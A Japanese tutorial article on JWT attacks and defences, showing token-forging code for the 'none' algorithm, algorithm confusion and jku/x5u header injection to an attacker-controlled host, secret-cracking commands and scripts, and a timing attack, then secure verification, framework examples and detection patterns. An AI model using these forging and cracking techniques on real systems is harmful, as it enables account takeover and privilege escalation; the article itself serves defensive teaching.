JWT攻撃とは?JSON Web Tokenの脆弱性と対策

JWT攻撃とは?

JWT(JSON Web Token)攻撃とは、JWT の実装上の脆弱性や設計上の問題を悪用して、認証を迂回したり、他のユーザーになりすましたりする攻撃手法です。

JWTは現代のWebアプリケーションやAPIで最も広く使用されている認証トークンの形式ですが、適切に実装されていない場合、以下のような深刻なセキュリティリスクを抱えます:

  • アカウント乗っ取り
  • 権限昇格(一般ユーザー → 管理者)
  • 認証迂回
  • 機密情報の漏洩
  • セッションハイジャック

特に、JWT は自己完結型のトークンのため、一度漏洩すると取り消しが困難という特性があり、攻撃が成功した場合の被害が深刻になりがちです。

JWTの基本構造

まず、JWT攻撃を理解するために、JWTの基本構造を確認しましょう。

JWTは以下の3つの部分がドット(.)で区切られた構造になっています:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

1. Header(ヘッダー)

{
  "alg": "HS256",
  "typ": "JWT"
}

2. Payload(ペイロード)

{
  "sub": "1234567890",
  "name": "John Doe",
  "iat": 1516239022,
  "exp": 1516242622,
  "role": "user"
}

3. Signature(署名)

HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  secret
)

JWT攻撃の種類と手法

1. None Algorithm Attack

最も基本的で危険な攻撃手法です。

脆弱性の概要:

多くのJWTライブラリは、alg: "none"(署名なし)をサポートしており、適切に検証されていない場合、攻撃者は署名なしのトークンを作成できます。

攻撃例:

// 正常なJWT
const validToken = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIifQ.signature"

// 攻撃者が作成する悪意のあるトークン
const maliciousHeader = {
    "alg": "none",  // 署名なしアルゴリズムを指定
    "typ": "JWT"
}

const maliciousPayload = {
    "sub": "1234567890",
    "name": "John Doe",
    "role": "admin"  // 権限を昇格
}

// 署名部分は空
const maliciousToken = btoa(JSON.stringify(maliciousHeader)) + "." + 
                      btoa(JSON.stringify(maliciousPayload)) + "."

脆弱なサーバー側の実装:

// 危険なコード例
function verifyToken(token) {
    const [header, payload, signature] = token.split('.');
    const decodedHeader = JSON.parse(atob(header));

    if (decodedHeader.alg === "none") {
        // 署名検証をスキップ!
        return JSON.parse(atob(payload));
    }

    // 通常の署名検証処理...
}

2. Weak Secret Attack

HMACアルゴリズム(HS256、HS384、HS512)で弱い秘密鍵を使用している場合の攻撃:

攻撃手法:

# hashcatを使用したJWT secret のブルートフォース攻撃
hashcat -a 0 -m 16500 jwt_token.txt rockyou.txt

# John the Ripperを使用した攻撃
john --wordlist=rockyou.txt --format=HMAC-SHA256 jwt_hash.txt

よく使われる弱い秘密鍵:

secret
password
123456
jwt_secret
your-256-bit-secret

攻撃例(Python):

import jwt
import hashlib

# 弱い秘密鍵の辞書攻撃
weak_secrets = ['secret', 'password', '123456', 'jwt_secret']
stolen_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."

for secret in weak_secrets:
    try:
        decoded = jwt.decode(stolen_token, secret, algorithms=['HS256'])
        print(f"秘密鍵が見つかりました: {secret}")
        print(f"デコード結果: {decoded}")

        # 攻撃者が新しいトークンを作成
        malicious_payload = decoded.copy()
        malicious_payload['role'] = 'admin'
        malicious_token = jwt.encode(malicious_payload, secret, algorithm='HS256')
        print(f"悪意のあるトークン: {malicious_token}")
        break
    except:
        continue

3. Algorithm Confusion Attack

非対称暗号(RS256)と対称暗号(HS256)の混同を利用した攻撃:

攻撃の概要:

  1. サーバーは通常RS256(RSA + SHA256)を使用
  2. 攻撃者が公開鍵を取得
  3. アルゴリズムをHS256に変更
  4. 公開鍵を秘密鍵として使用してトークンを作成

攻撃例:

import jwt
import base64

# 1. サーバーの公開鍵を取得(通常は/.well-known/jwks.json で公開)
public_key = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
-----END PUBLIC KEY-----"""

# 2. 元のJWTトークンをデコード(署名検証なし)
original_token = "eyJhbGciOiJSUzI1NiIs..."
decoded_payload = jwt.decode(original_token, options={"verify_signature": False})

# 3. 権限を昇格
decoded_payload['role'] = 'admin'

# 4. アルゴリズムをHS256に変更し、公開鍵を秘密鍵として使用
malicious_token = jwt.encode(
    decoded_payload, 
    public_key,  # 公開鍵を秘密鍵として使用
    algorithm='HS256'  # アルゴリズムを変更
)

print(f"悪意のあるトークン: {malicious_token}")

4. JWT Header Injection

JWTヘッダーの追加パラメータを悪用した攻撃:

4.1 jwk(JSON Web Key)インジェクション:

// 攻撃者が作成する悪意のあるJWTヘッダー
const maliciousHeader = {
    "alg": "RS256",
    "typ": "JWT",
    "jwk": {  // 攻撃者が制御する公開鍵を指定
        "kty": "RSA",
        "use": "sig",
        "n": "attacker_controlled_modulus",
        "e": "AQAB"
    }
}

4.2 jku(JSON Web Key Set URL)インジェクション:

const maliciousHeader = {
    "alg": "RS256",
    "typ": "JWT",
    "jku": "https://attacker-controlled.com/.well-known/jwks.json"  // 攻撃者のサーバー
}

4.3 x5u(X.509 URL)インジェクション:

const maliciousHeader = {
    "alg": "RS256", 
    "typ": "JWT",
    "x5u": "https://attacker-controlled.com/cert.pem"  // 攻撃者の証明書
}

5. JWT Timing Attack

JWT署名検証の実装に存在するタイミング攻撃:

import time
import requests

def timing_attack(base_token):
    """
    JWT署名の1バイトずつをブルートフォースで特定
    """
    known_signature = ""

    for position in range(32):  # 署名の長さ分繰り返し
        min_time = float('inf')
        best_char = None

        for char in "0123456789abcdef":  # 16進数文字
            test_signature = known_signature + char + "0" * (31 - position)
            test_token = base_token + test_signature

            start_time = time.time()
            response = requests.post('/verify', data={'token': test_token})
            end_time = time.time()

            if end_time - start_time < min_time:
                min_time = end_time - start_time
                best_char = char

        known_signature += best_char
        print(f"Position {position}: {best_char}")

    return known_signature

JWT攻撃の対策方法

1. 適切なアルゴリズム選択と検証

// 安全なJWT検証実装(Node.js)
const jwt = require('jsonwebtoken');

function verifyJWT(token, secret) {
    const options = {
        algorithms: ['HS256'],  // 許可するアルゴリズムを明示的に指定
        issuer: 'your-app.com',
        audience: 'your-app-users',
        clockTolerance: 60,  // 時刻のずれを60秒まで許容
    };

    try {
        // "none"アルゴリズムは自動的に拒否される
        const decoded = jwt.verify(token, secret, options);
        return decoded;
    } catch (error) {
        if (error.name === 'TokenExpiredError') {
            throw new Error('トークンが期限切れです');
        } else if (error.name === 'JsonWebTokenError') {
            throw new Error('無効なトークンです');
        } else {
            throw new Error('トークン検証に失敗しました');
        }
    }
}

// 使用例
app.post('/api/protected', (req, res) => {
    const token = req.headers.authorization?.split(' ')[1];

    if (!token) {
        return res.status(401).json({ error: 'トークンが必要です' });
    }

    try {
        const decoded = verifyJWT(token, process.env.JWT_SECRET);
        req.user = decoded;
        // 処理を続行
    } catch (error) {
        return res.status(403).json({ error: error.message });
    }
});

2. 強力な秘密鍵の使用

// 強力な秘密鍵の生成
const crypto = require('crypto');

// 256ビット(32バイト)のランダムな秘密鍵を生成
const strong_secret = crypto.randomBytes(32).toString('hex');
console.log('強力な秘密鍵:', strong_secret);

// 環境変数での管理
process.env.JWT_SECRET = strong_secret;

秘密鍵の要件:

  • 最低256ビット(32バイト)以上
  • 暗号学的に安全な乱数生成器を使用
  • 辞書に載っていない文字列
  • 定期的なローテーション

3. RS256(非対称暗号)の使用

// RS256を使用した安全な実装
const fs = require('fs');
const jwt = require('jsonwebtoken');

// RSA鍵ペアの生成
const { generateKeyPairSync } = require('crypto');

const { publicKey, privateKey } = generateKeyPairSync('rsa', {
    modulusLength: 2048,
    publicKeyEncoding: {
        type: 'spki',
        format: 'pem'
    },
    privateKeyEncoding: {
        type: 'pkcs8',
        format: 'pem'
    }
});

// JWTの署名
function signJWT(payload) {
    return jwt.sign(payload, privateKey, { 
        algorithm: 'RS256',
        expiresIn: '1h',
        issuer: 'your-app.com',
        audience: 'your-app-users'
    });
}

// JWTの検証
function verifyJWT(token) {
    return jwt.verify(token, publicKey, { 
        algorithms: ['RS256'],
        issuer: 'your-app.com',
        audience: 'your-app-users'
    });
}

4. JWTヘッダーパラメータの制限

// 安全なJWT検証(ヘッダーパラメータをチェック)
function secureVerifyJWT(token, secret) {
    const [headerB64, payloadB64, signature] = token.split('.');

    if (!headerB64 || !payloadB64 || !signature) {
        throw new Error('無効なJWT形式です');
    }

    const header = JSON.parse(Buffer.from(headerB64, 'base64').toString());

    // 危険なヘッダーパラメータをチェック
    const dangerous_params = ['jwk', 'jku', 'x5u', 'x5c'];
    for (const param of dangerous_params) {
        if (header[param]) {
            throw new Error(`危険なヘッダーパラメータが検出されました: ${param}`);
        }
    }

    // 許可されたアルゴリズムのみを受け入れ
    const allowed_algorithms = ['HS256', 'RS256'];
    if (!allowed_algorithms.includes(header.alg)) {
        throw new Error(`許可されていないアルゴリズム: ${header.alg}`);
    }

    // 通常のJWT検証
    return jwt.verify(token, secret, { algorithms: [header.alg] });
}

5. 適切なトークン管理

// JWT with refresh token pattern
class JWTManager {
    constructor(secretKey, refreshSecretKey) {
        this.secretKey = secretKey;
        this.refreshSecretKey = refreshSecretKey;
        this.blacklist = new Set(); // トークンブラックリスト
    }

    // アクセストークンの生成(短期間)
    generateAccessToken(user) {
        return jwt.sign(
            { 
                id: user.id, 
                role: user.role,
                type: 'access'
            },
            this.secretKey,
            { 
                expiresIn: '15m',  // 15分で期限切れ
                issuer: 'your-app.com',
                subject: user.id.toString()
            }
        );
    }

    // リフレッシュトークンの生成(長期間)
    generateRefreshToken(user) {
        return jwt.sign(
            { 
                id: user.id,
                type: 'refresh'
            },
            this.refreshSecretKey,
            { 
                expiresIn: '7d',  // 7日間
                issuer: 'your-app.com',
                subject: user.id.toString()
            }
        );
    }

    // トークンの検証とブラックリストチェック
    verifyToken(token, tokenType = 'access') {
        const tokenHash = crypto.createHash('sha256').update(token).digest('hex');

        if (this.blacklist.has(tokenHash)) {
            throw new Error('トークンが無効化されています');
        }

        const secret = tokenType === 'access' ? this.secretKey : this.refreshSecretKey;
        const decoded = jwt.verify(token, secret);

        if (decoded.type !== tokenType) {
            throw new Error('無効なトークンタイプです');
        }

        return decoded;
    }

    // トークンの無効化
    revokeToken(token) {
        const tokenHash = crypto.createHash('sha256').update(token).digest('hex');
        this.blacklist.add(tokenHash);
    }
}

フレームワーク別の安全な実装

Laravel(PHP)

<?php
// Laravelでの安全なJWT実装

// config/jwt.php
return [
    'secret' => env('JWT_SECRET'),
    'ttl' => 60, // 1時間
    'refresh_ttl' => 20160, // 2週間
    'algo' => 'HS256',
    'required_claims' => [
        'iss',
        'iat', 
        'exp',
        'nbf',
        'sub',
        'jti',
    ],
    'blacklist_enabled' => true,
    'blacklist_grace_period' => 0,
];

// JWTミドルウェア
class JWTMiddleware {
    public function handle($request, Closure $next) {
        try {
            $token = JWTAuth::parseToken();
            $user = $token->authenticate();

            if (!$user) {
                return response()->json(['error' => 'ユーザーが見つかりません'], 404);
            }

        } catch (TokenExpiredException $e) {
            return response()->json(['error' => 'トークンが期限切れです'], 401);
        } catch (TokenInvalidException $e) {
            return response()->json(['error' => '無効なトークンです'], 401);
        } catch (JWTException $e) {
            return response()->json(['error' => 'トークンが必要です'], 401);
        }

        return $next($request);
    }
}

// コントローラー
class AuthController extends Controller {
    public function login(Request $request) {
        $credentials = $request->only('email', 'password');

        if (!$token = JWTAuth::attempt($credentials)) {
            return response()->json(['error' => 'ログインに失敗しました'], 401);
        }

        return response()->json([
            'access_token' => $token,
            'token_type' => 'bearer',
            'expires_in' => auth()->factory()->getTTL() * 60
        ]);
    }

    public function logout() {
        JWTAuth::invalidate();
        return response()->json(['message' => 'ログアウトしました']);
    }
}
?>

Django(Python)

# Django + PyJWTでの安全な実装
import jwt
import datetime
from django.conf import settings
from django.contrib.auth.models import User

class JWTAuthentication:
    def __init__(self):
        self.secret_key = settings.JWT_SECRET
        self.algorithm = 'HS256'
        self.access_token_lifetime = datetime.timedelta(minutes=15)
        self.refresh_token_lifetime = datetime.timedelta(days=7)

    def generate_tokens(self, user):
        now = datetime.datetime.utcnow()

        # アクセストークン
        access_payload = {
            'user_id': user.id,
            'username': user.username,
            'exp': now + self.access_token_lifetime,
            'iat': now,
            'type': 'access'
        }
        access_token = jwt.encode(access_payload, self.secret_key, algorithm=self.algorithm)

        # リフレッシュトークン
        refresh_payload = {
            'user_id': user.id,
            'exp': now + self.refresh_token_lifetime,
            'iat': now,
            'type': 'refresh'
        }
        refresh_token = jwt.encode(refresh_payload, self.secret_key, algorithm=self.algorithm)

        return access_token, refresh_token

    def verify_token(self, token, token_type='access'):
        try:
            payload = jwt.decode(
                token, 
                self.secret_key, 
                algorithms=[self.algorithm],
                options={
                    'require_exp': True,
                    'require_iat': True,
                    'verify_exp': True,
                    'verify_iat': True,
                }
            )

            if payload.get('type') != token_type:
                raise jwt.InvalidTokenError('無効なトークンタイプ')

            return payload

        except jwt.ExpiredSignatureError:
            raise jwt.InvalidTokenError('トークンが期限切れです')
        except jwt.InvalidTokenError:
            raise jwt.InvalidTokenError('無効なトークンです')

# ミドルウェア
class JWTAuthenticationMiddleware:
    def __init__(self, get_response):
        self.get_response = get_response
        self.jwt_auth = JWTAuthentication()

    def __call__(self, request):
        token = self.get_token_from_request(request)

        if token:
            try:
                payload = self.jwt_auth.verify_token(token)
                user = User.objects.get(id=payload['user_id'])
                request.user = user
            except (jwt.InvalidTokenError, User.DoesNotExist):
                request.user = None

        response = self.get_response(request)
        return response

JWT攻撃の検出と監視

1. 異常なトークンパターンの監視

// JWT anomaly detection
class JWTAnomalyDetector {
    constructor() {
        this.suspiciousPatterns = [
            /.*"alg"\s*:\s*"none".*/i,
            /.*"jwk"\s*:.*/, 
            /.*"jku"\s*:.*/, 
            /.*"x5u"\s*:.*/
        ];
    }

    detectAnomalies(token) {
        const alerts = [];

        // 1. 署名なしトークンの検出
        if (token.endsWith('.')) {
            alerts.push('署名なしトークンが検出されました');
        }

        // 2. 異常なヘッダーパラメータの検出
        const [headerB64] = token.split('.');
        const headerStr = Buffer.from(headerB64, 'base64').toString();

        for (const pattern of this.suspiciousPatterns) {
            if (pattern.test(headerStr)) {
                alerts.push(`危険なヘッダーパターンが検出されました: ${pattern}`);
            }
        }

        // 3. 異常に長いトークンの検出
        if (token.length > 1000) {
            alerts.push('異常に長いトークンが検出されました');
        }

        return alerts;
    }

    logSuspiciousActivity(ip, userAgent, token, alerts) {
        console.warn('JWT Security Alert:', {
            timestamp: new Date().toISOString(),
            ip: ip,
            userAgent: userAgent,
            tokenHash: crypto.createHash('sha256').update(token).digest('hex').substring(0, 16),
            alerts: alerts
        });
    }
}

2. レート制限とアクセスパターン分析

// JWT abuse detection
class JWTAbuseDetector {
    constructor() {
        this.attemptTracker = new Map();
        this.maxAttemptsPerIP = 100;
        this.timeWindowMs = 60000; // 1分
    }

    checkAbuse(ip, token) {
        const now = Date.now();
        const key = ip;

        if (!this.attemptTracker.has(key)) {
            this.attemptTracker.set(key, []);
        }

        const attempts = this.attemptTracker.get(key);

        // 古い記録を削除
        const recentAttempts = attempts.filter(time => now - time < this.timeWindowMs);

        if (recentAttempts.length >= this.maxAttemptsPerIP) {
            return {
                blocked: true,
                reason: 'レート制限に達しました'
            };
        }

        recentAttempts.push(now);
        this.attemptTracker.set(key, recentAttempts);

        return { blocked: false };
    }
}

まとめ

JWT攻撃は、現代のWeb認証における最も深刻なセキュリティリスクの一つです。

重要なポイント:

  1. "none"アルゴリズムを絶対に許可しない
  2. 強力な秘密鍵(最低256ビット)を使用
  3. アルゴリズムを明示的に指定(Algorithm Confusion 対策)
  4. 危険なヘッダーパラメータを拒否(jwk、jku、x5u など)
  5. 適切なトークン管理(短期間のアクセストークン + リフレッシュトークン)
  6. ブラックリスト機能の実装
  7. 異常なアクセスパターンの監視

特に重要なのは、JWTライブラリの適切な使用です。多くの脆弱性は、ライブラリの不適切な使用や設定不備によって生じます。

JWTは便利な認証メカニズムですが、適切に実装されていない場合は深刻なセキュリティホールになります。この記事で紹介した対策を参考に、安全なJWT実装を心がけてください。


コメント

タイトルとURLをコピーしました